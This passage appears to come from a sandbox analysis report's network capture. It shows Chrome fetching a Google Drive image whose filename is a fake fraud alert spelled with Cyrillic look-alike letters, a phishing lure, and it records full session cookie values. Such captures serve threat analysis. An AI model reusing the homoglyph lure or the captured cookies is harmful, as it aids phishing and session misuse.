2024-11-14 19:42:31 UTC	1378	IN	Data Raw: aa 91 cf 63 97 e7 1d 61 99 46 96 e4 c3 f9 ad 8d 77 0e f4 2a 7e 68 ed ff 99 bc 09 bd df 8b 60 f3 fb e2 83 33 af 8f 16 f6 ad 23 82 fd d2 cd d6 87 f6 bc 0d 82 0e b9 ec ae ea bd ae c4 1d c9 ab d0 06 c0 19 0d ee d1 3d 59 b7 48 40 64 22 be fe 9f f2 5a 0b 68 a3 03 ac 5b 88 90 24 0c be f8 63 9d b4 57 04 eb 2f 9d 05 be e0 b2 9d 52 10 5b 24 4b 85 e3 36 42 0a 31 71 41 d3 8b 0f 8b 75 f0 26 34 0b 64 b0 73 d0 78 38 14 56 77 39 aa 6d c9 52 c0 a6 fc 2b a5 9e 00 d5 43 a6 2d a0 e1 b8 2a 65 17 e0 5e 05 53 57 ee 12 c6 12 30 a6 c7 2c a3 c3 be 51 24 7e 7b 18 d3 8b 6d 5f 41 d0 2d ac f6 a2 23 46 3d f9 f7 1d 8b 2d 91 40 49 78 46 e5 c0 98 0c d4 95 a9 10 47 78 0d d3 e3 6e 60 5f 84 36 21 e2 2c 51 8a 1f 44 62 95 e5 79 ee a7 0c 02 0e d2 1a ac e3 c3 b8 a2 24 71 30 af 2b 22 24 e3 00 1c Data Ascii: caFw~h`3#=YH@d"Zh[$cW/R[$K6B1qAu&4dsx8Vw9mR+C-e^SW0,Q$~{m_A-#F=-@IxFGxn`_6!,QDby$q0+"$
2024-11-14 19:42:31 UTC	1378	IN	Data Raw: 49 2b b4 f4 da 89 ee 20 2c 98 62 27 91 ec 01 a6 e2 9a 36 de d0 4f e4 9c b5 37 40 18 74 b7 26 52 5f 3d e9 fe 6f 96 a3 3f ff c4 c5 f1 b8 5f 4b 53 0d 59 9c 5e 6c da f2 3c aa 49 12 47 fe 59 88 b6 00 4a 87 6c c2 d1 78 1c 87 d4 78 43 28 e5 ef 9d 96 b7 74 24 55 5f 48 38 8c 27 0a ed 5e b1 b5 33 08 95 bd 1c fb 67 2a 57 3a c7 d5 83 38 85 2d af cc 32 cd 8e a2 f0 b6 ef 64 9e ba 64 0b 55 fa 2e cd c3 f7 f2 fb de 6c 35 6f 08 05 6b 6c 93 10 63 a4 16 5e 01 f0 22 cb 3d 96 a7 2c 7e 50 7d 4c be 4c 17 fb ef 7a 19 d9 06 4b 6f 39 87 b8 05 44 8c a4 23 db 9a 3a 69 44 63 24 de e6 33 56 10 11 7f b4 03 cb a6 bc 30 35 db a5 59 3a 27 e9 0d a4 d8 00 da 4a b1 d8 71 55 2b 27 c3 3b 43 16 42 a0 6d c5 e2 55 cb f3 18 9a 59 51 2d 65 2c 46 86 d7 c6 f3 cf cb bf a0 4e 4b 2c 1f f7 e9 cf e5 3c 51 Data Ascii: I+ ,b'6O7@t&R_=o?_KSY^l<IGYJlxxC(t$U_H8'^3g*W:8-2ddU.l5oklc^"=,~P}LLzKo9D#:iDc$3V05Y:'JqU+';CBmUYQ-e,FNK,<Q
2024-11-14 19:42:31 UTC	128	IN	Data Raw: 41 22 bd a2 8b 76 5d 58 91 f7 e8 00 1f 05 79 f5 c8 84 8c ac 8c 06 9c f5 e8 1c 02 d6 31 6f f7 1f 6a 72 2d da dc ef 4f e2 b9 8f 60 45 86 16 a1 ae 66 5a 06 78 5d b8 01 94 4e c0 3b eb 7c 19 d9 87 ff 81 05 12 11 d0 98 35 ec 2e e7 21 7c 63 74 85 01 7d c4 80 16 94 8f 16 88 69 fb a1 64 2b f7 be b7 a0 a0 04 c0 df 39 38 00 8b e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: A"v]Xy1ojr-O`EfZx]N;\|5.!\|ct}id+98

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	142.250.186.46	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:42:32 UTC	767	OUT	GET /drive-viewer/AKGpihbu9JoX6HaPrSMhBjFMLlZqRoFGZIaMUlsIMCO_03LfvFbYFcvPKtHamXrT0qSn9KwliGhO-lqulI9xOWwCqbJNtxwQGEexRO4=s1600-rw-v1 HTTP/1.1 Host: drive.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=bSUCOjNhEL0ItomZnmLexJF3XdVXtanONTMiMnqXBLvtSkjwji8EDWY3mTpXCcHDFNBvCZAwldzwNvWphIYJ_yQeXbnMkXDZvGE1yB0vkDSCRduw3iXIzAfUUeFXCHHEx5MzwkWdtEVz4IrtTre7d7NtM2VXelKSutQEWYOF_hrzo_FUIL4Ad2RB
2024-11-14 19:42:33 UTC	1074	IN	HTTP/1.1 200 OK Content-Type: image/webp Cross-Origin-Resource-Policy: same-site Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' Content-Security-Policy: sandbox X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff Vary: Origin Access-Control-Allow-Origin: * Timing-Allow-Origin: * Access-Control-Expose-Headers: Content-Length ETag: "v1" Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: private, max-age=86400, no-transform Content-Disposition: inline;filename="We N__d _dditional Information R_garding Your ___ount - Fraud Trans__tion D_t__ted.webp";filename*=UTF-8''We%20N%D0%B5%D0%B5d%20%D0%90dditional%20Information%20R%D0%B5garding%20Your%20%D0%90%D1%81%D1%81ount%20-%20Fraud%20Trans%D0%B0%D1%81tion%20D%D0%B5t%D0%B5%D1%81ted.webp Date: Thu, 14 Nov 2024 19:42:32 GMT Server: fife Content-Length: 10078 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:42:33 UTC	304	IN	Data Raw: 52 49 46 46 56 27 00 00 57 45 42 50 56 50 38 20 4a 27 00 00 90 17 01 9d 01 2a 00 04 40 02 3e b5 5a a9 4f a7 25 23 a2 21 b5 d8 88 e0 16 89 65 6e e1 76 b1 1b 20 1d 98 b2 8f b3 73 63 ec 07 37 fe bf ca 3f 54 9d a7 e5 f3 cf de 73 bf d9 7e cb fb 99 fd 61 ff 7b dc 17 f5 9b cf 33 f7 03 dd 8f f8 2f fa 1e a3 3f a6 7f a2 fd d9 f7 7f ff 7f fb a1 ef 4f fb 37 fc 3f 60 3f eb 5f f0 ff ff f6 22 fe ef fb 09 7e ed 7a bc 7f e6 fd df f8 5e fe c1 ff 4b f7 57 da e3 ff ff 67 7f 4a ff 5e 3f d4 fa 40 f1 f3 f8 3e 25 f9 75 f8 7e 89 79 2f ec c3 53 5f 9c fe 40 fe 7f 9c 9d f9 fc bb d4 17 d9 bb d1 fb bf 98 5f bd f9 9b fd b7 9e ff c5 eb 98 d0 2b 8e 68 ca 0f a6 75 c8 0a 5d 54 f8 a0 e6 c1 f4 ce b9 01 4b aa 9f 14 1c d8 3e 98 b7 fc 50 6b 90 25 9c 9f e9 63 69 85 72 c8 af 3c dd 93 83 87 f0 03 Data Ascii: RIFFV'WEBPVP8 J'*@>ZO%#!env sc7?Ts~a{3/?O7?`?_"~z^KWgJ^?@>%u~y/S_@_+hu]TK>Pk%cir<
2024-11-14 19:42:33 UTC	1378	IN	Data Raw: 14 1c d8 3e 99 d7 20 29 75 53 e2 83 9b 26 26 78 3e 99 d7 20 29 75 53 e2 83 9b 07 d3 3a e4 05 2e aa 7c 50 73 60 fa 67 5c 80 a5 d5 4f 8a 0e 6c 1f 4c eb 90 14 b7 ca dc be 05 81 60 57 b3 ec b8 a7 64 13 92 cf 25 68 45 66 de 4a cc 04 6d bc d9 6f 0f e0 07 d3 3a e4 05 2e aa 7c 50 73 60 fa 67 5c 80 a5 c0 04 74 af 79 9a 79 99 29 55 fe c9 1f bd 58 b8 10 b4 91 7f 82 f3 89 8b 1f 4f 6f 51 40 79 5f 7d 4b 1b 5a 2c e5 0f 20 a6 95 95 65 ea 06 05 35 67 bb a8 4e 13 de 9f 2c e2 ff 86 8b 1a 13 f0 03 e9 9d 72 02 97 55 3e 28 39 b0 7d 33 ae 40 52 df 4f b2 c7 b5 eb c1 d0 a0 fb 61 b2 a0 fc 77 93 7a 34 1a 27 4c f5 b9 88 a8 bd 8e bb 63 86 35 e3 e5 89 6a 6b 12 7b a8 d7 fb 01 ca 0a 3e b4 a3 b4 27 34 cc da a7 67 52 43 b8 53 d5 b7 d7 55 bb 84 c5 88 a2 33 d3 32 b6 78 8b 5d ef e6 56 8d e7 Data Ascii: > )uS&&x> )uS:.\|Ps`g\OlL`Wd%hEfJmo:.\|Ps`g\tyy)UXOoQ@y_}KZ, e5gN,rU>(9}3@ROawz4'Lc5jk{>'4gRCSU32x]V
2024-11-14 19:42:33 UTC	1378	IN	Data Raw: ef 1d 63 74 99 d4 39 e8 7f 0e 9f 0a bb 55 3e 28 39 b0 7d 33 ae 40 52 ea a7 c5 07 36 0f a6 75 c8 0a 5d 54 f8 a0 e6 c1 f4 ce b9 01 4b aa 9f 14 1c d8 3e 99 d7 20 29 75 53 e2 83 9b 07 d3 3a e4 05 2e aa 7c 50 73 60 fa 67 5c 80 a5 d5 4f 8a 0e 6c 1f 4c eb 90 14 ba a9 f1 41 cd 80 59 e8 e7 b9 ee 7b 9e e7 b9 ee 7b 9e e7 b9 ee 7b 9e e7 b9 ee 7b 9e e7 b9 ee 68 dd c9 d8 3e 99 d7 20 29 75 53 e2 83 9b 07 d3 3a e4 05 2e aa 7a 47 6a c7 07 30 8b 4d 96 2b 40 a7 e9 7c c9 f6 31 dc 24 92 d0 64 72 5f c2 c1 94 30 06 6f 3a aa d6 8d 5f 05 92 65 f0 f4 31 e6 e6 05 2e aa 7c 50 73 60 fa 67 5c 80 a5 d5 4f 8a 0e 6c 1f 49 31 bc 74 a5 7d 8d 8d 64 55 67 a8 f9 e8 2d 7f 37 70 8b 96 5c 31 90 14 67 28 bf 23 6e a5 66 e1 2c 92 3f 5b b1 bc c9 f1 51 8a dd 50 5b 98 01 d2 70 ba e4 05 2e aa 7c 50 73 Data Ascii: ct9U>(9}3@R6u]TK> )uS:.\|Ps`g\OlLAY{{{{h> )uS:.zGj0M+@\|1$dr_0o:_e1.\|Ps`g\OlI1t}dUg-7p\1g(#nf,?[QP[p.\|Ps
2024-11-14 19:42:33 UTC	1378	IN	Data Raw: dc 7b 70 ad 15 9e a0 ff 7d 60 ab 51 e6 3f 69 ee 5e 7b 18 cb 9e d5 97 e1 f3 bf 5f 0a a4 de 2e 7c 1a 45 84 a8 a1 8a 0e b7 64 83 52 1d c6 c4 13 6c d2 d5 2f 3d e2 ea 76 4e f9 09 de ec 27 99 24 d8 00 72 f0 54 f8 f3 27 42 77 b7 84 e3 a2 eb 0a c1 68 39 a9 c0 2a a3 9e 91 30 1d 91 ab a4 de 9e 2c 32 83 7c e9 94 91 0d 91 3c 49 e5 c3 5b 84 a3 31 5c 26 bf b2 0b 2e 3b 42 c4 43 5e 28 89 85 be 90 a8 7b 2f 94 b6 fb 40 b5 80 44 8d 33 df 83 31 16 3a ac f8 7f 7b da a3 0b 8a c0 4d 67 8c bc 6c 1e 04 c3 35 da 93 ce 1a ea de 28 d4 c2 04 9f ea 65 45 1e 59 3a 89 91 ff 19 9a 83 09 86 b6 b8 1b 81 23 6b f7 ed ba 4d 71 ca a4 b7 d7 da 8d db 24 8d 52 6e bf 01 f4 0b da 6c 3b ff 4c ac ce f0 cc ef ab 39 9d 5b cf a4 77 a0 7b d2 58 de e0 79 dd fd 76 59 ed dc 5e a4 6e ca cb 3b 63 5b a9 01 bb Data Ascii: {p}`Q?i^{_.\|EdRl/=vN'$rT'Bwh9*0,2\|<I[1\&.;BC^({/@D31:{Mgl5(eEY:#kMq$Rnl;L9[w{XyvY^n;c[
2024-11-14 19:42:33 UTC	1378	IN	Data Raw: be 97 6a 20 b0 95 19 8b 70 74 37 89 b3 89 cd c0 b5 87 ec 13 8b 8c 53 69 6f 4b 69 1b 3f cb 4a d8 1b f8 28 62 d3 7c 48 5f a5 d4 72 43 45 56 45 28 4f 80 86 85 19 02 df 5a ec 27 82 b2 87 4d 40 95 e5 e8 87 48 cb 23 9f 60 60 ef 5c 9a ef fb 7e 01 5e 59 0f d7 16 f5 57 26 32 9c 8c 31 ce 0a 67 ec b8 3c a5 8f 83 85 63 da 2c 44 86 d9 0d d5 e7 86 f6 be 3e 1a e4 93 47 f8 3d bb 88 d0 12 c5 90 57 3e a8 49 ad 78 67 d2 14 0d 2c 97 0d 47 c9 46 78 05 e1 50 63 af ea a5 3a 2a 9f c9 d8 26 5f 5e 68 a9 a9 b4 07 ca 58 21 2c a8 c3 21 72 96 73 fc 97 27 a7 f4 4e dc aa 7d dc cc 33 f8 47 74 94 c1 94 31 8b 99 c8 61 73 40 37 97 f3 83 7a 3f c4 26 08 18 ef 08 1f 23 7b 38 5c 8c 43 98 85 f3 3b c4 49 41 5e 2f 98 a0 72 95 75 2e c2 58 a3 58 87 37 69 e1 55 a0 8f 90 09 40 f5 e0 33 5b f9 9b 94 6b Data Ascii: j pt7SioKi?J(b\|H_rCEVE(OZ'M@H#``\~^YW&21g<c,D>G=W>Ixg,GFxPc:*&_^hX!,!rs'N}3Gt1as@7z?&#{8\C;IA^/ru.XX7iU@3[k
2024-11-14 19:42:33 UTC	1378	IN	Data Raw: f6 d6 7f ff d5 5c 03 4d ec 1a 0a 5a 3c 17 16 c1 67 64 1f 36 03 f8 8a ae 75 8d 11 f9 d6 f2 fa b8 89 80 4d 43 87 09 e9 a2 74 c6 a5 4f da fe a6 ab f7 d8 d1 35 93 5e 68 24 f1 f5 6d b4 66 3e 84 7d 5f f4 ff bd 53 95 91 62 26 7f 79 53 1b 85 9c a7 13 fe 5a b1 53 ff 18 e6 7b 8a 86 87 40 9f 21 69 d7 fd da 05 c5 e8 f6 87 d7 b0 f0 93 44 11 40 de 5b 1d 08 f4 4b 97 f8 4a 9e 02 d4 fc 29 49 e8 4b 9c 1b 66 cb 67 a6 f4 89 f7 03 0a 5c c6 e2 f7 af 9b 12 06 8a 97 bd cd 13 6e 27 d1 a9 52 36 95 b9 61 82 b9 2c c2 1e 53 e3 a2 65 dd f9 9c 2f 48 86 75 f7 af aa f2 7a 78 e9 59 3f 24 ae fd 72 db 44 14 08 c7 b2 62 c6 8b c4 d5 10 96 f8 2d 49 80 a6 74 e7 f4 28 3e 7d b8 6a f0 a9 4c 79 c4 1f 28 fc 9b d7 b9 3f cd e3 cb db b8 ec 40 23 45 53 60 47 c0 50 3e 3d 3f 63 5f 8e 39 39 21 bb 0d a9 30 Data Ascii: \MZ<gd6uMCtO5^h$mf>}_Sb&ySZS{@!iD@[KJ)IKfg\n'R6a,Se/HuzxY?$rDb-It(>}jLy(?@#ES`GP>=?c_99!0
2024-11-14 19:42:33 UTC	1378	IN	Data Raw: aa 91 cf 63 97 e7 1d 61 99 46 96 e4 c3 f9 ad 8d 77 0e f4 2a 7e 68 ed ff 99 bc 09 bd df 8b 60 f3 fb e2 83 33 af 8f 16 f6 ad 23 82 fd d2 cd d6 87 f6 bc 0d 82 0e b9 ec ae ea bd ae c4 1d c9 ab d0 06 c0 19 0d ee d1 3d 59 b7 48 40 64 22 be fe 9f f2 5a 0b 68 a3 03 ac 5b 88 90 24 0c be f8 63 9d b4 57 04 eb 2f 9d 05 be e0 b2 9d 52 10 5b 24 4b 85 e3 36 42 0a 31 71 41 d3 8b 0f 8b 75 f0 26 34 0b 64 b0 73 d0 78 38 14 56 77 39 aa 6d c9 52 c0 a6 fc 2b a5 9e 00 d5 43 a6 2d a0 e1 b8 2a 65 17 e0 5e 05 53 57 ee 12 c6 12 30 a6 c7 2c a3 c3 be 51 24 7e 7b 18 d3 8b 6d 5f 41 d0 2d ac f6 a2 23 46 3d f9 f7 1d 8b 2d 91 40 49 78 46 e5 c0 98 0c d4 95 a9 10 47 78 0d d3 e3 6e 60 5f 84 36 21 e2 2c 51 8a 1f 44 62 95 e5 79 ee a7 0c 02 0e d2 1a ac e3 c3 b8 a2 24 71 30 af 2b 22 24 e3 00 1c Data Ascii: caFw~h`3#=YH@d"Zh[$cW/R[$K6B1qAu&4dsx8Vw9mR+C-e^SW0,Q$~{m_A-#F=-@IxFGxn`_6!,QDby$q0+"$
2024-11-14 19:42:33 UTC	1378	IN	Data Raw: 49 2b b4 f4 da 89 ee 20 2c 98 62 27 91 ec 01 a6 e2 9a 36 de d0 4f e4 9c b5 37 40 18 74 b7 26 52 5f 3d e9 fe 6f 96 a3 3f ff c4 c5 f1 b8 5f 4b 53 0d 59 9c 5e 6c da f2 3c aa 49 12 47 fe 59 88 b6 00 4a 87 6c c2 d1 78 1c 87 d4 78 43 28 e5 ef 9d 96 b7 74 24 55 5f 48 38 8c 27 0a ed 5e b1 b5 33 08 95 bd 1c fb 67 2a 57 3a c7 d5 83 38 85 2d af cc 32 cd 8e a2 f0 b6 ef 64 9e ba 64 0b 55 fa 2e cd c3 f7 f2 fb de 6c 35 6f 08 05 6b 6c 93 10 63 a4 16 5e 01 f0 22 cb 3d 96 a7 2c 7e 50 7d 4c be 4c 17 fb ef 7a 19 d9 06 4b 6f 39 87 b8 05 44 8c a4 23 db 9a 3a 69 44 63 24 de e6 33 56 10 11 7f b4 03 cb a6 bc 30 35 db a5 59 3a 27 e9 0d a4 d8 00 da 4a b1 d8 71 55 2b 27 c3 3b 43 16 42 a0 6d c5 e2 55 cb f3 18 9a 59 51 2d 65 2c 46 86 d7 c6 f3 cf cb bf a0 4e 4b 2c 1f f7 e9 cf e5 3c 51 Data Ascii: I+ ,b'6O7@t&R_=o?_KSY^l<IGYJlxxC(t$U_H8'^3g*W:8-2ddU.l5oklc^"=,~P}LLzKo9D#:iDc$3V05Y:'JqU+';CBmUYQ-e,FNK,<Q
2024-11-14 19:42:33 UTC	128	IN	Data Raw: 41 22 bd a2 8b 76 5d 58 91 f7 e8 00 1f 05 79 f5 c8 84 8c ac 8c 06 9c f5 e8 1c 02 d6 31 6f f7 1f 6a 72 2d da dc ef 4f e2 b9 8f 60 45 86 16 a1 ae 66 5a 06 78 5d b8 01 94 4e c0 3b eb 7c 19 d9 87 ff 81 05 12 11 d0 98 35 ec 2e e7 21 7c 63 74 85 01 7d c4 80 16 94 8f 16 88 69 fb a1 64 2b f7 be b7 a0 a0 04 c0 df 39 38 00 8b e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: A"v]Xy1ojr-O`EfZx]N;\|5.!\|ct}id+98

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49747	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:42:34 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-14 19:42:34 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=248575 Date: Thu, 14 Nov 2024 19:42:34 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49748	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:42:35 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-14 19:42:35 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=248587 Date: Thu, 14 Nov 2024 19:42:35 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-14 19:42:35 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49762	142.250.185.238	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:42:57 UTC	1050	OUT	GET /auth_warmup HTTP/1.1 Host: drive.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=bSUCOjNhEL0ItomZnmLexJF3XdVXtanONTMiMnqXBLvtSkjwji8EDWY3mTpXCcHDFNBvCZAwldzwNvWphIYJ_yQeXbnMkXDZvGE1yB0vkDSCRduw3iXIzAfUUeFXCHHEx5MzwkWdtEVz4IrtTre7d7NtM2VXelKSutQEWYOF_hrzo_FUIL4Ad2RB
2024-11-14 19:42:58 UTC	1738	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 14 Nov 2024 19:42:58 GMT Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveOsidBootstrap/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ikMosWHM6SYkyCt3KBSF4A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveOsidBootstrap/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveOsidBootstrap/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-site reporting-endpoints: default="/_/DriveOsidBootstrap/web-reports?context=eJzjEtDikmLw15BicEqfwRoCxELcHIeW3tzJJvDg_jQDJdWk_ML4lKLMstSMkpKCxILM4tSistSieCMDIxNDQwNzPQOj-AIDAPFBFmM" Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49761	142.250.185.238	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:42:57 UTC	1171	OUT	GET /drivesharing/clientmodel?id=11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei&foreignService=texmex&authuser=0&origin=https%3A%2F%2Fdrive.google.com HTTP/1.1 Host: drive.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=bSUCOjNhEL0ItomZnmLexJF3XdVXtanONTMiMnqXBLvtSkjwji8EDWY3mTpXCcHDFNBvCZAwldzwNvWphIYJ_yQeXbnMkXDZvGE1yB0vkDSCRduw3iXIzAfUUeFXCHHEx5MzwkWdtEVz4IrtTre7d7NtM2VXelKSutQEWYOF_hrzo_FUIL4Ad2RB
2024-11-14 19:42:58 UTC	3597	IN	HTTP/1.1 302 Found Content-Type: application/binary X-Frame-Options: ALLOW-FROM https://drive.google.com Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site Content-Security-Policy: frame-ancestors https://drive.google.com Content-Security-Policy: require-trusted-types-for 'script';report-uri /drivesharing/_/DriveShareDialogUi/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-grZ0XyoQUk6xqbmNLU01Ug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /drivesharing/_/DriveShareDialogUi/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com https://support.google.com/inapp/ https://www.google.com/tools/feedback/ https://www.gstatic.com/inproduct_help/ https://www.gstatic.com/support/content/;report-uri /drivesharing/_/DriveShareDialogUi/cspreport/allowlist Location: https://accounts.google.com/ServiceLogin?passive=1209600&osid=1&continue=https://drive.google.com/drivesharing/clientmodel?id%3D11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei%26foreignService%3Dtexmex%26authuser%3D0%26origin%3Dhttps://drive.google.com&followup=https://drive.google.com/drivesharing/clientmodel?id%3D11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei%26foreignService%3Dtexmex%26authuser%3D0%26origin%3Dhttps://drive.google.com Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://www.google.com/js/bg/ https://translate.google.com/translate_a/element.js https://www.google.com/tools/feedback/load.js https://www.google.com/tools/feedback/open.js https://www.google.com/tools/feedback/open_to_help_guide_lazy.js https://www.google.com/tools/feedback/help_api.js https://www.gstatic.com/inproduct_help/service/lazy.min.js https://www.gstatic.com/inproduct_help/api/main.min.js https://www.gstatic.com/inproduct_help/chatsupport/chatsupport_button_v2.js https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js https://www.gstatic.com/uservoice/feedback/client/web/live/ https://www.google.com/tools/feedback/chat_load.js https://www.gstatic.com/uservoice/surveys/resources/prod/js/survey/ https://www.gstatic.com/feedback/js/ghelp/ https://www.gstatic.com/_/mss/boq-one-google/_/ https://www.gstatic.com/og/_/js/ https://apis.google.com/js/api.js https://apis.google.com/js/client.js https://www.goo [TRUNCATED] Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, 